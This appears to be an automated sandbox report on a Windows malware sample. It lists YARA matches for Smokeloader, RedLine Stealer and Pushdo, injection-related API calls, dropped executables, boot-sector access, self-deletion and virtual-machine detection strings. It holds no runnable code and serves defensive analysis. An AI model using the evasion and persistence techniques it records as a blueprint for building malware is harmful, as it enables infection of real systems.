Source: 0000000B.00000002.385012924.00000000023E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.306962028.0000000002401000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000014.00000002.477652403.00000000007B1000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000D.00000002.467983905.00000000005FB000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000B.00000002.384643477.0000000000850000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.306754047.00000000008BD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000D.00000002.475406504.0000000002200000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401514 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401514
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004014F2 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004014F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040234C NtQuerySystemInformation,	0_2_0040234C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401557 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401557
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402357 NtQuerySystemInformation,	0_2_00402357
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402363 NtQuerySystemInformation,	0_2_00402363
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402367 NtQuerySystemInformation,	0_2_00402367
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040151F NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040151F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040152C NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040152C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402391 NtQuerySystemInformation,	0_2_00402391
Source: C:\Users\user\AppData\Roaming\rgtrtas	Code function: 11_2_00401514 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	11_2_00401514
Source: C:\Users\user\AppData\Roaming\rgtrtas	Code function: 11_2_004014F2 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	11_2_004014F2
Source: C:\Users\user\AppData\Roaming\rgtrtas	Code function: 11_2_0040234C NtQuerySystemInformation,	11_2_0040234C
Source: C:\Users\user\AppData\Roaming\rgtrtas	Code function: 11_2_00401557 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	11_2_00401557
Source: C:\Users\user\AppData\Roaming\rgtrtas	Code function: 11_2_00402357 NtQuerySystemInformation,	11_2_00402357
Source: C:\Users\user\AppData\Roaming\rgtrtas	Code function: 11_2_00402363 NtQuerySystemInformation,	11_2_00402363
Source: C:\Users\user\AppData\Roaming\rgtrtas	Code function: 11_2_00402367 NtQuerySystemInformation,	11_2_00402367
Source: C:\Users\user\AppData\Roaming\rgtrtas	Code function: 11_2_0040151F NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	11_2_0040151F
Source: C:\Users\user\AppData\Roaming\rgtrtas	Code function: 11_2_0040152C NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	11_2_0040152C
Source: C:\Users\user\AppData\Roaming\rgtrtas	Code function: 11_2_00402391 NtQuerySystemInformation,	11_2_00402391
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: 13_2_00409543 GetWindowsDirectoryW,NtAllocateVirtualMemory,EnterCriticalSection,RtlInitUnicodeString,RtlInitUnicodeString,LeaveCriticalSection,LdrEnumerateLoadedModules,	13_2_00409543
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: 13_2_0040E48D NtQuerySystemInformation,	13_2_0040E48D
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: 13_2_00401B2C NtQueryInformationProcess,	13_2_00401B2C
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: 13_2_022097A9 GetWindowsDirectoryW,NtAllocateVirtualMemory,RtlEnterCriticalSection,RtlInitUnicodeString,RtlInitUnicodeString,RtlLeaveCriticalSection,LdrEnumerateLoadedModules,	13_2_022097A9
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: 13_2_022097AA GetWindowsDirectoryW,NtAllocateVirtualMemory,RtlEnterCriticalSection,RtlInitUnicodeString,RtlInitUnicodeString,RtlLeaveCriticalSection,LdrEnumerateLoadedModules,	13_2_022097AA

Source: C:\Users\user\AppData\Local\Temp\D02D.exe

Code function: 13_2_0040B453: DeviceIoControl,

13_2_0040B453

Source: EF7A.exe.1.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: D02D.exe.1.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\WER\ERC\statecache.lock

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@9/9@110/9

Source: C:\Windows\explorer.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\EF7A.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EF7A.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: file.exe	ReversingLabs: Detection: 35%
Source: file.exe	Virustotal: Detection: 32%

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe C:\Users\user\Desktop\file.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\rgtrtas C:\Users\user\AppData\Roaming\rgtrtas
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\EF7A.exe C:\Users\user\AppData\Local\Temp\EF7A.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D02D.exe C:\Users\user\AppData\Local\Temp\D02D.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\D02D.exe "C:\Users\user\AppData\Local\Temp\D02D.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\DFC9.exe C:\Users\user\AppData\Local\Temp\DFC9.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\EF7A.exe C:\Users\user\AppData\Local\Temp\EF7A.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D02D.exe C:\Users\user\AppData\Local\Temp\D02D.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\DFC9.exe C:\Users\user\AppData\Local\Temp\DFC9.exe	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{603D3801-BD81-11d0-A3A5-00C04FD706EC}\InProcServer32

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\EF7A.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D02D.exe

Mutant created: \Sessions\1\BaseNamedObjects\WTfewgNmxpcaVXHKTu

Source: D02D.exe

String found in binary or memory: remarked, referring to certain imaginations, is the damage?" "No professor?" cried Miss Perkman bade Mr. Sharp that they "spit on the name.-Add to all offices," so that I love you always say," rejoined the motherly-looking woman, who seems to see an opportuni

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: c:\omtnkdoj\bnwv\yogisfk\cqf.pdb source: D02D.exe, D02D.exe, 0000000D.00000002.446384829.0000000000410000.00000040.00000001.01000000.0000000A.sdmp, D02D.exe, 00000014.00000002.475830099.0000000000410000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: c:\bfllk\pdgh\qovxk\wqdtbmac.pdb source: D02D.exe, 00000014.00000002.548340810.0000000004C99000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\sepejunic.pdb source: file.exe
Source:	Binary string: c:\jfmo\tlcp\nyvnyt\obocmwsb.pdb source: D02D.exe, 00000014.00000002.548340810.0000000004C99000.00000004.00000020.00020000.00000000.sdmp, D02D.exe, 00000014.00000002.478203497.000000000249C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\kamoterek\nace34_ye.pdb source: D02D.exe, 0000000D.00000000.409242643.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, D02D.exe, 00000014.00000000.440291136.0000000000401000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: c:\bfllk\pdgh\qovxk\wqdtbmac.pdb/; source: D02D.exe, 00000014.00000002.548340810.0000000004C99000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\jfmo\tlcp\nyvnyt\obocmwsb.pdb/; source: D02D.exe, 00000014.00000002.548340810.0000000004C99000.00000004.00000020.00020000.00000000.sdmp, D02D.exe, 00000014.00000002.478203497.000000000249C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\yafeb\tayilacekox\nic.pdb source: EF7A.exe, 0000000C.00000000.389807114.0000000000401000.00000020.00000001.01000000.00000009.sdmp
Source:	Binary string: %"574C:\kamoterek\nace34_ye.pdb source: D02D.exe, 0000000D.00000000.409242643.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, D02D.exe, 00000014.00000000.440291136.0000000000401000.00000020.00000001.01000000.0000000A.sdmp

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Unpacked PE file: 13.2.D02D.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Unpacked PE file: 20.2.D02D.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\rgtrtas	Unpacked PE file: 11.2.rgtrtas.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Unpacked PE file: 13.2.D02D.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Unpacked PE file: 20.2.D02D.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\AppData\Local\Temp\DFC9.exe

Unpacked PE file: 21.2.DFC9.exe.1060000.2.unpack

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402C0E push ecx; iretd	0_2_00402E3D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402D5D push ecx; iretd	0_2_00402E3D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402D70 push ecx; iretd	0_2_00402E3D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402D7D push ecx; iretd	0_2_00402E3D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402D1F push ecx; iretd	0_2_00402E3D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402D81 push ecx; iretd	0_2_00402E3D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402DA7 push ecx; iretd	0_2_00402E3D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040AE81 push ecx; ret	0_2_0040AE94
Source: C:\Users\user\AppData\Roaming\rgtrtas	Code function: 11_2_00402C0E push ecx; iretd	11_2_00402E3D
Source: C:\Users\user\AppData\Roaming\rgtrtas	Code function: 11_2_00402D5D push ecx; iretd	11_2_00402E3D
Source: C:\Users\user\AppData\Roaming\rgtrtas	Code function: 11_2_00402D70 push ecx; iretd	11_2_00402E3D
Source: C:\Users\user\AppData\Roaming\rgtrtas	Code function: 11_2_00402D7D push ecx; iretd	11_2_00402E3D
Source: C:\Users\user\AppData\Roaming\rgtrtas	Code function: 11_2_00402D1F push ecx; iretd	11_2_00402E3D
Source: C:\Users\user\AppData\Roaming\rgtrtas	Code function: 11_2_00402D81 push ecx; iretd	11_2_00402E3D
Source: C:\Users\user\AppData\Roaming\rgtrtas	Code function: 11_2_00402DA7 push ecx; iretd	11_2_00402E3D
Source: C:\Users\user\AppData\Roaming\rgtrtas	Code function: 11_2_0040AE81 push ecx; ret	11_2_0040AE94
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: 13_2_0040A3BD push eax; retf	13_2_0040A3BE
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: 13_2_0220A618 push eax; retf	13_2_0220A625
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: 13_2_0220371C pushad ; ret	13_2_0220371D

Source: DFC9.exe.1.dr	Static PE information: section name: .debug_o
Source: Ruifriwreh.dll.12.dr	Static PE information: section name: .didata
Source: pigalicapi.exe.21.dr	Static PE information: section name: .debug_o

Persistence and Installation Behavior

Yara detected Backdoor Pushdo

Source: Yara match	File source: 21.2.DFC9.exe.1060000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.DFC9.exe.1060000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000002.553332019.0000000001060000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Contains functionality to infect the boot sector

Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	13_2_00408951
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	13_2_00408951
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	13_2_00408958
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	13_2_00408958
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	13_2_0040895B
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	13_2_0040895B
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	13_2_02208BB8
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	13_2_02208BB8
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	13_2_02208BBF
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	13_2_02208BBF
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	13_2_02208BC2
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	13_2_02208BC2

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\rgtrtas

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\EF7A.exe	File created: C:\Users\user\AppData\Local\Temp\Ruifriwreh.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\DFC9.exe	File created: C:\Users\user\pigalicapi.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D02D.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\rgtrtas	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\EF7A.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\DFC9.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\DFC9.exe

File created: C:\Users\user\pigalicapi.exe

Jump to dropped file

Boot Survival

Contains functionality to infect the boot sector

Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	13_2_00408951
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	13_2_00408951
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	13_2_00408958
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	13_2_00408958
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	13_2_0040895B
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	13_2_0040895B
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	13_2_02208BB8
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	13_2_02208BB8
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	13_2_02208BBF
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	13_2_02208BBF
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	13_2_02208BC2
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	13_2_02208BC2

Drops PE files to the user root directory

Source: C:\Users\user\AppData\Local\Temp\DFC9.exe

File created: C:\Users\user\pigalicapi.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\file.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\rgtrtas:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D02D.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\EF7A.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EF7A.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rgtrtas	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rgtrtas	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rgtrtas	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rgtrtas	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rgtrtas	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rgtrtas	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Source: C:\Windows\explorer.exe TID: 576	Thread sleep time: -32200s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4168	Thread sleep time: -450000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D02D.exe TID: 5796	Thread sleep time: -600000s >= -30000s	Jump to behavior

Source: C:\Windows\explorer.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\D02D.exe

Thread delayed: delay time: 600000

Jump to behavior

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 378	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 390	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 865	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 849	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D02D.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_13-7099

Source: C:\Users\user\AppData\Local\Temp\EF7A.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Ruifriwreh.dll

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\D02D.exe

File opened: PHYSICALDRIVE0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D02D.exe

Thread delayed: delay time: 600000

Jump to behavior

Source: explorer.exe, 00000001.00000000.287124290.00000000090D8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}z,
Source: EF7A.exe, 0000000C.00000003.397161746.000000007F700000.00000004.00001000.00020000.00000000.sdmp, Ruifriwreh.dll.12.dr	Binary or memory string: VBoxMRXNP.dll
Source: DFC9.exe, 00000015.00000002.553455974.00000000012C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000001.00000000.281041516.0000000007166000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}>
Source: explorer.exe, 00000001.00000000.287124290.00000000090D8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: EF7A.exe, 0000000C.00000003.397161746.000000007F700000.00000004.00001000.00020000.00000000.sdmp, Ruifriwreh.dll.12.dr	Binary or memory string: VBoxHook.dll
Source: explorer.exe, 00000001.00000000.287124290.0000000008FD3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&0000001 ZG
Source: explorer.exe, 00000001.00000000.287124290.00000000090D8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}i,
Source: EF7A.exe, 0000000C.00000003.397161746.000000007F700000.00000004.00001000.00020000.00000000.sdmp, Ruifriwreh.dll.12.dr	Binary or memory string: vmbusres.dll
Source: explorer.exe, 00000001.00000000.277960579.0000000005063000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}9'
Source: D02D.exe, 00000014.00000002.483132163.0000000002C60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: K,<=;;?9:VMcI;8
